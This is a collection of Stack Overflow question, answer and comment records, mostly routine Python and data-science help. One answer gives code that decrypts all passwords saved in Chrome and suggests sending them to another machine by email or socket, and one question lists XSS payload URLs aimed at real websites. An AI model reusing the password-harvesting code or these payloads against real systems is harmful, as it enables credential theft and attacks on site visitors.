http://stackoverflow.com/q/48675114
downvote count: 0
type: Question
score: 5
tagged with: deep-learning
has answer: http://stackoverflow.com/a/48731531
has title: PyTorch: How to print output blob size of each layer in network?
answer count: 1
favorite count: 0
has body: I can print network structure like (also how to print positional index of each 'simple' layer? because in this example we have 3 for Fire module and it's content ('simple' layers) don't have index): net = models.squeezenet1_1(pretrained=True) print(net) SqueezeNet( (features): Sequential( (0): Conv2d (3, 64, kernel_size=(3, 3), stride=(2, 2)) (1): ReLU(inplace) (2): MaxPool2d(kernel_size=(3, 3), stride=(2, 2), dilation=(1, 1)) (3): Fire( (squeeze): Conv2d (64, 16, kernel_size=(1, 1), stride=(1, 1)) (squeeze_activation): ReLU(inplace) (expand1x1): Conv2d (16, 64, kernel_size=(1, 1), stride=(1, 1)) (expand1x1_activation): ReLU(inplace) (expand3x3): Conv2d (16, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)) (expand3x3_activation): ReLU(inplace) ) (4): Fire( (squeeze): Conv2d (128, 16, kernel_size=(1, 1), stride=(1, 1)) (squeeze_activation): ReLU(inplace) (expand1x1): Conv2d (16, 64, kernel_size=(1, 1), stride=(1, 1)) (expand1x1_activation): ReLU(inplace) (expand3x3): Conv2d (16, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)) (expand3x3_activation): ReLU(inplace) ) (5): MaxPool2d(kernel_size=(3, 3), stride=(2, 2), dilation=(1, 1)) (6): Fire( (squeeze): Conv2d (128, 32, kernel_size=(1, 1), stride=(1, 1)) (squeeze_activation): ReLU(inplace) (expand1x1): Conv2d (32, 128, kernel_size=(1, 1), stride=(1, 1)) (expand1x1_activation): ReLU(inplace) (expand3x3): Conv2d (32, 128, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)) (expand3x3_activation): ReLU(inplace) ) (7): Fire( (squeeze): Conv2d (256, 32, kernel_size=(1, 1), stride=(1, 1)) (squeeze_activation): ReLU(inplace) (expand1x1): Conv2d (32, 128, kernel_size=(1, 1), stride=(1, 1)) (expand1x1_activation): ReLU(inplace) (expand3x3): Conv2d (32, 128, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)) (expand3x3_activation): ReLU(inplace) ) (8): MaxPool2d(kernel_size=(3, 3), stride=(2, 2), dilation=(1, 1)) (9): Fire( (squeeze): Conv2d (256, 48, kernel_size=(1, 1), stride=(1, 1)) (squeeze_activation): ReLU(inp…
upvote count: 5
tagged with: pytorch
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/48769149
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84539768
tagged with: python
has body: I'm working on a project from the Berkeley AI curriculum, and they require me to use stacks, queues, and priority queues in my Depth First Graph Search implementation. I stored my fringe in a priority queue and my already visited states in a set. What am I supposed to use stacks and queues for in this assignment? I'm not a student at Berkeley and I'm just using their curriculum for an independent study in high school and I got permission from my instructor to ask this online, so this is not a case of cheating on homework.
score: 1
has title: Why would I need stacks and queues for Depth First Search?
upvote count: 1
has comment: http://stackoverflow.com/comment/84539868
type: Question
tagged with: data-structures
tagged with: search
has answer: http://stackoverflow.com/a/48769576
has comment: http://stackoverflow.com/comment/84539162
answer count: 1
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/84583517
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48756069
type: AnswerComment
has text: First, always edit post with data and/or code and not in comments. Please do so and then delete this long comment. Also see my edit testing your exact process with my answer that does render pretty print output. Hence, I cannot reproduce your claimed *one-liner*.

http://stackoverflow.com/comment/84330308
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48665261
has text: Possible duplicate of [Identifying implicit string literal concatenation](https://stackoverflow.com/questions/21546048/identifying-implicit-string-literal-concatenation)

http://stackoverflow.com/comment/84357732
has text: uhhh yes, that would be nice
comment on: http://stackoverflow.com/a/48680286
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/84577051
type: AnswerComment
comment on: http://stackoverflow.com/a/48771044
score: 0
type: Comment
has text: Glad I could help you! Good luck with the rest of your game ;D

http://stackoverflow.com/comment/84544509
comment on: http://stackoverflow.com/q/48736714
type: Comment
type: QuestionComment
has text: Hmm. That's the IP address of the proxy server that free PythonAnywhere accounts use to access the Internet. Are you sure you're looking at the same requests in each of the two cases?
score: 0

http://stackoverflow.com/comment/84561624
has text: Something is odd with your original code: you're setting `d[key] = val>0` repeatedly for the same `key` but different `val`. This either not doing what you want or it's wasting a lot of work. What do you expect `featureset` to look like?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48779589

gmail
type: Tag
tags question: http://stackoverflow.com/q/48797523
tag name: gmail

http://stackoverflow.com/q/48691179
linked to: http://stackoverflow.com/q/24251219
has body: I created a .csv file from a dataframe as below: df.to_csv('partial.csv', sep=',') Datatypes in the dataframe df.dtypes gives: Contact_ID int64 Src_Sys_Cd object First_Name object Last_Name object Src_Sys_Key object Full_Name object Office_No object Mobile object Email object dtype: object When I try to read the newly created .csv file using read_csvit gives me error: new_df = pd.read_csv('partial.csv') DtypeWarning: Columns (5) have mixed types. Specify dtype option on import or set low_memory=False. interactivity=interactivity, compiler=compiler, result=result) How can I avoid this error? Is this error coming up because I did something wrong while to_csv or read_csv ?
answer count: 3
tagged with: pandas
downvote count: 0
favorite count: 0
tagged with: python
has answer: http://stackoverflow.com/a/48801732
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/24251219
accepted answer: http://stackoverflow.com/a/48801732
upvote count: 3
has answer: http://stackoverflow.com/a/48691669
has answer: http://stackoverflow.com/a/71317162
type: Question
score: 3
possible better answer: http://stackoverflow.com/a/48691669
has title: Pandas read_csv() gives DtypeWarning

http://stackoverflow.com/a/48655844
has body: Given the content, you can try this: page = requests.get(url, cookies=cookies).content content = [i.text for i in page.find_all('option')][1:] Output: ['APPLING', 'ATKINSON', 'BACON', 'BAKER', 'BALDWIN', 'FULTON']
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48655692

http://stackoverflow.com/q/48764923
has title: Find the column name which has the 2nd maximum value for each row (pandas)
downvote count: 0
linked to: http://stackoverflow.com/q/29919306
favorite count: 0
tagged with: python
has answer: http://stackoverflow.com/a/48766011
type: AnsweredQuestion
type: Question
accepted answer: http://stackoverflow.com/a/48765564
has body: Based on this post: Find the column name which has the maximum value for each row it is clear how to get the column name with the max value of each row using df.idxmax(axis=1). The question is, how can I get the 2nd, 3rd and so on maximum value per row?
tagged with: dataframe
score: 4
possible better answer: http://stackoverflow.com/a/48766011
upvote count: 4
answer count: 2
tagged with: pandas
has answer: http://stackoverflow.com/a/48765564

http://stackoverflow.com/q/48720924
tagged with: windows
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84463182
downvote count: 0
score: 1
tagged with: winapi
type: Question
has body: I need my python script to get windows monitor power state. According to this link in StackOverflow, I can use RegisterPowerSettingNotification to get GUID_MONITOR_POWER_ON but I don't know how to implement it. The objective is to trigger events when the screen goes off. I can access the funcion at ctypes.windll.user32.RegisterPowerSettingNotification but I need help to call it and get the messsages RegisterPowerSettingNotification Power Setting GUIDs I am running Windows 10 and Python 3 Update: I was able to call and register the window to receive messages but I'm still unable to get the information I need from it... I know that lparam is a pointer to a structure but I need to get information from it like the GUID PowerSetting and Data fields import win32con import win32api import win32gui import sys import time from ctypes import POINTER, windll from comtypes import GUID from ctypes.wintypes import HANDLE, DWORD PBT_POWERSETTINGCHANGE = 0x8013 def log_info(msg): """ Prints """ print(msg) f = open("test.log", "a+") f.write(msg + "\n") f.close() def wndproc(hwnd, msg, wparam, lparam): print('.') log_info("wndproc: %s\nw: %s\nl: %s" % (msg, wparam, lparam)) if msg == win32con.WM_POWERBROADCAST: if wparam == win32con.PBT_APMPOWERSTATUSCHANGE: log_info('Power status has changed') if wparam == win32con.PBT_APMRESUMEAUTOMATIC: log_info('System resume') if wparam == win32con.PBT_APMRESUMESUSPEND: log_info('System resume by user input') if wparam == win32con.PBT_APMSUSPEND: log_info('System suspend') if wparam == PBT_POWERSETTINGCHANGE: log_info('Power setting changed...') #lparam is pointer to structure i need if __name__ == "__main__": log_info("*** STARTING ***") hinst = win32api.GetModuleHandle(None) wndclass = win32gui.WNDCLASS() wndclass.hInstance = hinst wndclass.lpszClassName = "testWindowClass" messageMap = { win32con.WM_POWERBROADCAST : wndproc } wndclass.lpfnWndProc = messageMap try: myWindowClass = win32gui.RegisterClass(wndclass) hwnd = win32gui.CreateWindowEx…
tagged with: ctypes
has comment: http://stackoverflow.com/comment/84456801
linked to: http://stackoverflow.com/q/328490
has comment: http://stackoverflow.com/comment/133341937
accepted answer: http://stackoverflow.com/a/48739720
has comment: http://stackoverflow.com/comment/84463294
upvote count: 1
answer count: 1
has title: Python 3: Detect monitor power state in Windows
has answer: http://stackoverflow.com/a/48739720
linked to: http://stackoverflow.com/q/1411186
favorite count: 0
has comment: http://stackoverflow.com/comment/84456445
has comment: http://stackoverflow.com/comment/84441927

http://stackoverflow.com/q/48728886
has body: I am reading the Python Cookbook where the following is mentioned: @contextmanager is really only used for writing self-contained context-management functions. If you have some object (e.g. a file, network connection, or lock) that needs to support the with statement, you still need to implement the __enter and __exit__ methods separately. I can't quite understand this. Why can't we use a file object with a context-management function? Aren't functions decorated with @contextmanager equivalent to classes with __enter__ and __exit__ methods?
answer count: 1
downvote count: 1
tagged with: python
has title: Why is @contextmanager used only for self-contained functions?
upvote count: 0
accepted answer: http://stackoverflow.com/a/48728970
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48728970
score: -1
type: Question
tagged with: contextmanager
favorite count: 0

http://stackoverflow.com/q/48767965
tagged with: scikit-learn
favorite count: 0
upvote count: 18
tagged with: python
has answer: http://stackoverflow.com/a/48768349
accepted answer: http://stackoverflow.com/a/48768349
type: AnsweredQuestion
has title: DBSCAN with custom metric
type: Question
possible better answer: http://stackoverflow.com/a/49557718
score: 17
linked to: http://stackoverflow.com/q/111234
answer count: 2
has body: I have the following given: a dataset in the range of thousands a way of computing the similarity, but the datapoints themselves I cannot plot them in euclidian space I know that DBSCAN should support custom distance metric but I dont know how to use it. say I have a function def similarity(x,y): return similarity ... and I have a list of data that can be passed pairwise into that function, how do I specify this when using the DBSCAN implementation of scikit-learn ? Ideally what I want to do is to get a list of the clusters but I cant figure out how to get started in the first place. There is a lot of terminology that still confuses me: http://scikit-learn.org/stable/modules/generated/sklearn.cluster.DBSCAN.html How do I pass a feature array and what is it ? How do I fit this implementation to my needs ? How will I be able to get my "sublists" from this algorithm ?
has answer: http://stackoverflow.com/a/49557718
tagged with: cluster-analysis
downvote count: 1

http://stackoverflow.com/q/48648743
tagged with: python
has comment: http://stackoverflow.com/comment/84295818
has comment: http://stackoverflow.com/comment/84295439
has comment: http://stackoverflow.com/comment/84295240
has comment: http://stackoverflow.com/comment/84295481
type: UnansweredQuestion
score: 0
type: Question
has body: I have a data frame that is ~50,000 rows long and am trying to pull out a subset of rows based on a list. I have confirmed my list c has all the right id names of rows I want to exract and that all these ids are in my original dataframe, but when I use loc to extract the rows into a new dataframe it is only pulling out about half of the ids I identify in list c. The loc function in pandas is working great on smaller tests but I can't figure out why it wouldn't work on my larger dataframe. Could it be because my index has both numerical and string based values? Any ideas of why this could be happening or alternatives to the loc function to do this? This is my code: c = ['a','b','f','h','y'] df = pd.read_table('count_table.txt',comment="#",index_col='id') df2 =df.loc[df.index.isin(c)] For added information my actual dataframe looks like this: T1 T2 T3 A1 1 + 89 A2 2 + 12 A3 3 + 0 4 4 + 11 5 5 - 7 6 6 - 8 7 7 + 56 8 8 - 21 MS1 1 + 1 MS2 2 + 8 NH5 5 + 0 NH7 7 + 12 ..... The expected output would be a new dataframe that has only the rows with indexes in list c. So lets say I had the dataframe above and a a list c=['MS1','NH5','8','4','5'] I want a dataframe that looks like: T1 T2 T3 4 4 + 11 5 5 - 7 8 8 - 21 MS1 1 + 1 NH5 5 + 0 What I am getting instead is something like this where it is missing some of the values clearly in list c: T1 T2 T3 4 4 + 11 8 8 - 21 NH5 5 + 0
tagged with: pandas
answer count: 1
has answer: http://stackoverflow.com/a/49365336
has title: Pandas pulling out rows using a list
has comment: http://stackoverflow.com/comment/84295646
has comment: http://stackoverflow.com/comment/84295463

http://stackoverflow.com/q/48784944
accepted answer: http://stackoverflow.com/a/48786286
possible better answer: http://stackoverflow.com/a/48785795
tagged with: python
has comment: http://stackoverflow.com/comment/84573860
has comment: http://stackoverflow.com/comment/84572396
score: 0
has comment: http://stackoverflow.com/comment/84572233
answer count: 3
has title: Binning a list of numbers to a given window
has comment: http://stackoverflow.com/comment/84572402
has comment: http://stackoverflow.com/comment/84571464
has comment: http://stackoverflow.com/comment/84572710
tagged with: numpy
has answer: http://stackoverflow.com/a/48786046
has answer: http://stackoverflow.com/a/48786286
tagged with: pandas
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48785795
has comment: http://stackoverflow.com/comment/84571344
type: Question
has body: I have the following list example: [-8,-7,-6,-5,-3,-2,-1,0,0,1,2,3,4,5,6,7] I need to bin it in the following way: e.g. given window=2, we always start binning from 0 to left for negative numbers, and from 0 to right for positive numbers: [-4,-3,-3,-2,-2,-1,-1,0,0,1,1,2,2,3,3,4] e.g. given window=3: [-3,-2,-2,-2,-1,-1,-1,0,0,1,1,1,2,2,2,3] The bins are computed starting from the 0s. So I need to bin everything left and right to zero. Say, in [-5,-4,-3,-2,-1,0] with window=2, I would bin the negative numbers in a step of 2. Let's reverse the list to start with 0 to help understand it better [0, -1, -2, -3, -4, -5], the result would be: [-1, -2] turns into a bin -&gt; [-1,-1] [-3, -4] -&gt; [-2, -2] [-5, ] -&gt; [-5, ]] If I have both positive and negative numbers, I would first bin either the ones left to the most left 0 or right to the most right 0. Another example: list = [-2,-1,0,0,0,1,2,3,4] window=2 So I need to bin [-2,-1] and [1,2,3,4]. They would turn into: [-1,-1] and [1,1,2,2]. The final list will be: [-1,-1,0,0,0,1,1,2,2] I am on Python 3. My attempt at it, mostly pseudo-code: def bin_positions(self, positions_list, bin_window): """ put relative positions into bins """ binned_list = list() for index, element in enumerate(positions_list): if element == 0: # leave 0s untouched binned_list.append(element) elif element &lt; 0: if index % bin_window == 0: # bin negative numbers pass elif element &gt; 0: if index % bin_window == 0: # bin positive numbers pass # print(element, index) return binned_list Explanation on why I need this, as requested: I am working on an NLP task where I need to encode positional embeddings relative to a given word span of the main word or phrase in the sentence. In my example, word span of the main phrase is denoted by 0s. And a word to the left of it, is indexed as -1, to the right, as index 1 and so on. I need to bin those positions since I don't care how precisely far the words are from the main word, but only relatively. So, all …

http://stackoverflow.com/comment/84565216
score: 0
comment on: http://stackoverflow.com/q/48778640
type: QuestionComment
has text: It works fine with my data, I was just wondering if there was a better way, the old kolmogorov complexity question. Numpy is well optimized but I had to make 3 calls to to full array comparisons before I could apply advanced indexing. I felt like there could be a function that finds the minimum and maximum indices simultaneously in one passthrough of the array.
type: Comment

http://stackoverflow.com/q/48776228
has title: Wrong value when I use lisbox.get(ACTIVE)
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48834130
type: Question
score: 0
has comment: http://stackoverflow.com/comment/84554525
answer count: 1
has body: class LayerSelector(tk.Listbox): def __init__(self, master, mod): tk.Listbox.__init__(self, master) self.mod = mod self.bind("&lt;Button-1&gt;", self.select_event) self.bind("&lt;MouseWheel&gt;", self.change_order) def select_event(self, event): layer = self.get(tk.ACTIVE) print(layer) if layer != "": # if something is selected self.mod.current_layer = layer def change_order(self, event): pass def get_order(self): order = self.get(0, tk.END) return list(order) My function select_event doesn't work properly. The first time I click on an item, it gives me always the first item and when I click on another, it gives me the previous item I clicked on.
tagged with: python
has answer: http://stackoverflow.com/a/48834130
tagged with: tkinter
has comment: http://stackoverflow.com/comment/84669040

http://stackoverflow.com/a/48672380
score: 1
has body: If you're actually dealing with only two columns, you can group one series by another. In [6]: A = ['a', 'a', 'b', 'b', 'c', 'c'] In [7]: B = [1, 2, 3, 4, 5, 6] In [8]: pd.Series(B).groupby(A).mean() Out[8]: a 0.5 b 2.5 c 4.5 dtype: float64 I've provided some timings below. In [9]: %timeit pd.Series(B).groupby(A).mean() 1000 loops, best of 3: 1.07 ms per loop In [10]: %timeit pd.DataFrame({'A': A, 'B': B}).groupby('A').mean() 100 loops, best of 3: 2.66 ms per loop In [11]: %timeit pd.DataFrame(list(zip(A, B))).groupby(0).mean() 100 loops, best of 3: 2.38 ms per loop
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48671309
answers question: http://stackoverflow.com/q/48671309
type: Answer
downvote count: 0

http://stackoverflow.com/comment/84337026
has text: Can you share your `setup.py`? Also, how is the C code and the extension compiled? Specifically, what compiler is used for each and how is the linking performed?
comment on: http://stackoverflow.com/q/48663897
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48686452
has title: python (nontype comparison with int)
tagged with: python
has body: Actually i m trying to make binary search tree but there a nonetype in self.value ..so there is an error saying &lt; cannot be used with int and none type.please help me regarding this .Thanks for the help ..I m really stuck with it............................................................................................................................................................. class Tree: def __init__(self,initval=None): self.value=initval if self.value: self.left=Tree() self.right=Tree() else : self.left=None self.right=None return def isempty(self): return (self.value==None) def isleaf(self): return (self.left.isempty() and self.right.isempty()) # convert a leaf node to an empty node def makeempty(self): self.value=None self.left=None self.right=None return def copyright(self): self.value=self.right.value self.left=self.right.left self.right=self.right.right return def find(self,v): if self.isempty(): return (False) if self.value==v: return (True) if v&lt;self.value: return (self.left.find(v)) if v&gt;self.value: return (self.right.find(v)) def insert(self,v): if self.isempty(): self.value==v self.left=Tree() self.right=Tree() if self.value==v: return if v &lt; self.value: self.left.insert(v) return if v &gt;self.value: self.right.insert(v) return def maxval(self): if self.right.isempty(): return(self.value) else: return (self.right.maxval()) def delete(self,v): if self.isempty(): return if v&lt;self.value: self.left.delete(v) if v&gt;self.value: self.right.delete(v) if v==self.value: if self.isleaf(): self.makeempty() elif self.left.isempty(): self.copyright() else: self.value=self.left.maxval() self.left.delete(self.left.maxval()) return def inorder(self): if self.isempty(): return([]) else: return (self.left.inorder()+[self.value]+self.right.inorder()) def __str__(self): return(str(self.inorder())) l=Tree(4) for i in [1,3,2,6,8,55,44]: l.insert(i) print(l)
type: UnansweredQuestion
type: Question
has answer: http://stackoverflow.com/a/48686564
answer count: 1
has comment: http://stackoverflow.com/comment/84371204
score: 0

http://stackoverflow.com/comment/84491152
type: QuestionComment
score: 1
has text: Possible duplicate of [Python random sample with a generator / iterable / iterator](https://stackoverflow.com/questions/12581437/python-random-sample-with-a-generator-iterable-iterator)
comment on: http://stackoverflow.com/q/48745222
type: Comment

http://stackoverflow.com/a/53314614
has body: Try having the lambda in the same VPC and security group as your elastic cluster
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/48646923
has comment: http://stackoverflow.com/comment/139969086
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139270690
has text: @YaroslavNikitenko Erm the title isn't the question. The question is the bit where I say "My question is...". Also it does relate in the context of my question, becuase I am asking about computationally expensive operations that can throw exceptions. The guide says to avoid such operations. i.e. getters should be simple operations. This to me strongly implies that rasing an exception would be a bad idea because it doesn't align with the expectation of a simple, predictable getter operation. If you think there should be a differnet answer, feel free to leave one.
type: Comment
comment on: http://stackoverflow.com/a/49350279
score: 0
type: AnswerComment

http://stackoverflow.com/q/48650663
answer count: 1
tagged with: django-2.0
type: UnansweredQuestion
has body: Hello guys I am receiving this error : This my main URL: urlpatterns = [ path('admin/', admin.site.urls), path('blog/',include('blog.urls',namespace='blog')), ] My blog/url.py: app_name = 'blog' urlpatterns = [ path('',views.PostListView.as_view(), name='post_list'), path('<int:year>/<int:month>/<int:day>/<int:post>',views.post_detail,name='post_detail'), ] view.py: class PostListView(ListView): queryset = Post.published.all() context_object_name = 'posts' paginate_by = 3 template_name = 'blog/post/list.html' def post_list(request): posts = Post.published.all() return render(request, 'blog/post/list.html', {'posts': posts}) def post_detail(request, year, month, day, post): post = get_object_or_404(Post, slug=post, status='published',publish__year=year,publish__month=month,publish__day=day) return render(request, 'blog/post/detail.html', {'post': post}) list.html: {% extends "blog/base.html" %} {% block title %}My Blog{% endblock %} {% block content %} My Blog {% for post in posts %} {{ post.title }} Published {{ post.publish }} by {{ post.author }} {% endfor %} {% include "pagination.html" with page=page_obj %} {% endblock %} I don't know what is the problem with the code. I need some help please.
tagged with: python
has answer: http://stackoverflow.com/a/48651375
tagged with: django
type: Question
has comment: http://stackoverflow.com/comment/84299161
has title: NoReverseMatch at /blog/ Using Django 2
score: 0

http://stackoverflow.com/q/48655504
type: UnansweredQuestion
tagged with: python
has title: decoding binary raw machine data to readable format using python
answer count: 0
has comment: http://stackoverflow.com/comment/84309375
type: Question
has body: I have a example.log file which stores some data as seen below. ??¯U÷ ¥ @ÿ @ÿ @ÿ @ÿ @ ô 1sÿ @ — Ç 1sÿ @ÿ @þ Œ 3sÿ @÷ŸN +sÿ @&amp; Q3?Fß•4?ÌñX×EÔó?õ®0+Ý¨å@‰£Â*N¥Fß•4ô&lt;ÙçE:z¹ì¼ý_Æâ A@¥?øôb AþŠ@ö ?@&gt;?‚\$8€=Ç¢`&gt;fd&gt;Ÿï&gt;?Œ„&gt; ýR K e ~ g^a ÛJ&lt;ÚR@Ë¶?Ðx€„ -??¯øsµ 0‘ Ž +sM 4sûN+ 2s oØ %s © 3s“ ,sçb 0s ý©s s Zú $súÂ -sk #s'œê 0“(žŒ 4“,œC .“ ?@&gt;?‚\?¡÷= I want to convert this data to human readable format but do not know how to extract information from this.
score: 0
has comment: http://stackoverflow.com/comment/84309633
tagged with: raw-data

http://stackoverflow.com/q/48753630
type: Question
upvote count: 4
has comment: http://stackoverflow.com/comment/84508182
has answer: http://stackoverflow.com/a/48935869
tagged with: discord.py
has body: I'm making a discord bot and I really want to make a mute command to mute toxic users. This is the code I've currently done, this isn't the rewrite version. @bot.command(pass_context = True) async def mute(ctx, user_id, userName: discord.User): if ctx.message.author.server_permissions.administrator: user = ctx.message.author role = discord.utils.get(user.server.roles, name="Muted") await client.add_roles(user, role) else: embed=discord.Embed(title="Permission Denied.", description="You don't have permission to use this command.", color=0xff00f6) await bot.say(embed=embed)
has comment: http://stackoverflow.com/comment/84508591
has comment: http://stackoverflow.com/comment/84508130
answer count: 3
score: 2
has comment: http://stackoverflow.com/comment/84508142
has comment: http://stackoverflow.com/comment/84508183
has answer: http://stackoverflow.com/a/64438286
tagged with: discord
favorite count: 0
type: UnansweredQuestion
downvote count: 2
has title: discord.py How to add Mute command
tagged with: python
linked to: http://stackoverflow.com/q/48713510
has answer: http://stackoverflow.com/a/64304045

http://stackoverflow.com/q/48747966
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/48748131
tagged with: printing
score: 5
tagged with: difference
has comment: http://stackoverflow.com/comment/84495849
has comment: http://stackoverflow.com/comment/84554927
favorite count: 0
tagged with: python
upvote count: 6
possible better answer: http://stackoverflow.com/a/48748131
has title: How to convert a deeply nested list to a string
accepted answer: http://stackoverflow.com/a/48779818
downvote count: 1
tagged with: repr
type: AnsweredQuestion
tagged with: recursion
has body: If I make a deeply nested list, like this: arr = [1] for i in range(1000): arr = [arr] then print(arr) will work fine, but str(arr) fails miserably with maximum recursion depth exceeded. ("%s" % arr, and repr(arr) too.) How could I get the string that print prints? And what is the underlying reason for the difference?
has answer: http://stackoverflow.com/a/48779818

http://stackoverflow.com/comment/84548153
comment on: http://stackoverflow.com/q/48773267
has text: Please add source code. Also what python version - 2 or 3?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84412938
type: QuestionComment
type: Comment
has text: Also, based on the project structure you provided, `MyClass` is not a module in `Resources` package, so `import Proj.SRC.Resources.MyClass` won't work - `import Proj.SRC.MyClass` should be the correct one.
score: 0
comment on: http://stackoverflow.com/q/48696196

http://stackoverflow.com/q/48693600
has answer: http://stackoverflow.com/a/48693722
answer count: 2
has title: What does the \newline escape sequence mean in python?
tagged with: newline
downvote count: 0
tagged with: string-literals
has answer: http://stackoverflow.com/a/48693697
tagged with: python
favorite count: 0
accepted answer: http://stackoverflow.com/a/48693697
type: AnsweredQuestion
tagged with: escaping
score: 3
upvote count: 3
possible better answer: http://stackoverflow.com/a/48693722
has body: I found the sequence \newline in a list of escape sequences in the python documentation. I wonder how it is used and for what. At least in my interpreter it seems this is just interpreted as '\n' + 'ewline': &gt;&gt;&gt; print('\newline') ewline
type: Question

http://stackoverflow.com/comment/84552513
comment on: http://stackoverflow.com/a/48775042
score: 0
type: Comment
has text: Yes! Is that possible?
type: AnswerComment

http://stackoverflow.com/comment/84461363
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48730214
has text: What are you trying to do? Are you trying to get the same format to save as CSV / txt? Or are you trying to summarize this dataframe to reuse?
score: 0

http://stackoverflow.com/a/51743736
has body: Each computer has its own local encryption key, therefore, only the computer who encrypted the data can decrypt it. I assume that in your case you are trying to read login data from different computer, your windows computer doesn't have the needed key for decrypting the passwords and as a result you get the above error. I would recommend decrypting the data at the source computer and passing the results to your destination via open socket/email. Example python code: import sqliteDB as DB import emailSender as Email import utilities as Utilites import win32crypt import os # Works only for windows dbFileName = 'Login Data' # Set DB source file path data_path = os.path.expanduser('~') + r"\AppData\Local\Google\Chrome\User Data\Default" # Path to user's login data db_file_path = os.path.join(data_path, dbFileName) # Copy the file to different folder because the original file cant be read when chrome is open new_data_path = os.path.expanduser('~') # Set new directory path new_db_file_path = os.path.join(new_data_path, dbFileName) Utilites.copyFile(db_file_path, new_data_path) # Copy the file to the new directory dbObject = DB.sqlLiteDataBase(new_db_file_path) # Connect to the DB file sqlQuery = "SELECT origin_url,username_value,password_value from logins;" # Set SQL query login_data = dbObject.executeQuery(sqlQuery) # Get query results # Decrypt the results decrypted_data = '' for users in login_data: decrypted_data += 'Domain: ' + users[0] + ', Username: ' + users[1] + ', Password: ' + win32crypt.CryptUnprotectData(users[2], None, None, None, 0)[1].decode('utf-8') + '\n'
upvote count: 2
type: Answer
score: 2
answers question: http://stackoverflow.com/q/48675338
has comment: http://stackoverflow.com/comment/107016811
downvote count: 0
has comment: http://stackoverflow.com/comment/109263614

http://stackoverflow.com/q/48728754
has body: I have over a thousand links which all have GET based parameters. https://us.webuy.com/search/index.php/"> https://www.densuke.biz/help http://www.ntrcars.co.uk/email.php?subject=%22%3E%3Csvg/onload=alert(/XSS/)%3E http://www.americanexpress.com/thailand/en/leave_country.shtml?url=javascript:alert`XSS` https://share.trin.cam.ac.uk/sites/public/Pages/PageNotFoundError.aspx?FollowSite=0&SiteName='-confirm(/XSS/)-' http://www.rockwellautomation.com/global/news/the-journal/detail.page?docid=dfb8c8ba15e7cf2c599fc321b8e2b98e&G11N/Locale=en&geography=%22%3E%3Cimg%20src=x%20onerror=prompt%28/XSS/%29%3E&content_type=magazine&pagetitle=\n https://www.ifishillinois.org/profiles/display_lake.php?waternum=1/*-/*`/*\`/*'/*"/**/--> <svg/onload=;prompt(/XSS/);>00116 http://tools.xaa.su/htaccess/ http://www.wa.lk/realstate/product_display.php?id=%22%22;%3C%2Fscript%3E%3Cscript%3Eprompt(%2FXSS%2F)%3C%2Fscript%3E%3C%22 I need to extract all of the data which contains the string 'XSS' and put them into a list. "> %22%3E%3Csvg/onload=alert(/XSS/)%3E javascript:alert`XSS` '-confirm(/XSS/)-' and so on... I have attempted to use urlparse but don't see this type of function anywhere #from urllib.parse import urlparse # #url = 'http://user:pwd@NetLoc:80/path;param?query=arg#frag' #parsed = urlparse(url) #print('scheme :', parsed.scheme) #print('netloc :', parsed.netloc) #print('path :', parsed.path) #print('params :', parsed.params) #print('query :', parsed.query) #print('fragment:', parsed.fragment) #print('username:', parsed.username) #print('password:', parsed.password) #print('hostname:', parsed.hostname) #print('port :', parsed.port) I think #print('params :', parsed.params) is the closest I can get, however, I don't want the parameter too.
tagged with: urlparse
type: Question
score: 0
has title: How to parse / extract data from GET based parameters in Python?
answer count: 1
tagged with: parsing
has answer: http://stackoverflow.com/a/48729311
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/a/48795499
has comment: http://stackoverflow.com/comment/84664104
score: 0
has body: Took a much closer look at the doc. import Tkinter as tk root = tk.Tk() root.attributes('-type', 'dialog') a = tk.Frame(master=root) root.title(__file__) a.mainloop()
answers question: http://stackoverflow.com/q/48795345
has comment: http://stackoverflow.com/comment/84628382
type: Answer

http://stackoverflow.com/comment/84602981
has text: @Vaibhav that won't make any difference.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48800065
score: 0

http://stackoverflow.com/q/48718533
tagged with: python
has body: I'm trying to compile this example but getting errors about undefined reference to PyInt_Type/PyString_FromString/PyNumber_Divide etc. I have already linked my build against boost_python and python3.6m. I'm building it with g++ example.cpp -L/usr/include/boost/python -lboost_python -lpython3.6m -I/usr/include/python3.6m main.cpp #include &lt;boost/python.hpp&gt; #include &lt;boost/python/detail/wrap_python.hpp&gt; #include &lt;boost/python/exec.hpp&gt; #include &lt;boost/python.hpp&gt; #include &lt;iostream&gt; #include &lt;string&gt; #include &lt;Python.h&gt; using namespace boost::python; int main() { Py_Initialize(); object main_module = import("__main__"); object main_namespace = main_module.attr("__dict__"); object ignored = exec("hello = file('hello.txt', 'w')\n" "hello.write('Hello world!')\n" "hello.close()", main_namespace); } Note : I have python3.6-dev installed I was able to run this using the same build parameters and include directives Full list of errors I'm using Ubuntu 16.04 Also: If i understand correctly following thing happening: When i'm linking my build with lboost_python it uses some functions PyInt_Type, PyString_FromString. It has information about their return types and input parameters, but not their real definitions i.e. function body, that is defined in some other library (In my case it is python library) and i have to tell linker about this library to be include it in build. Is my understanding correct ? If yes then why linking against python3.6m didn't help ?
tagged with: c++
type: Question
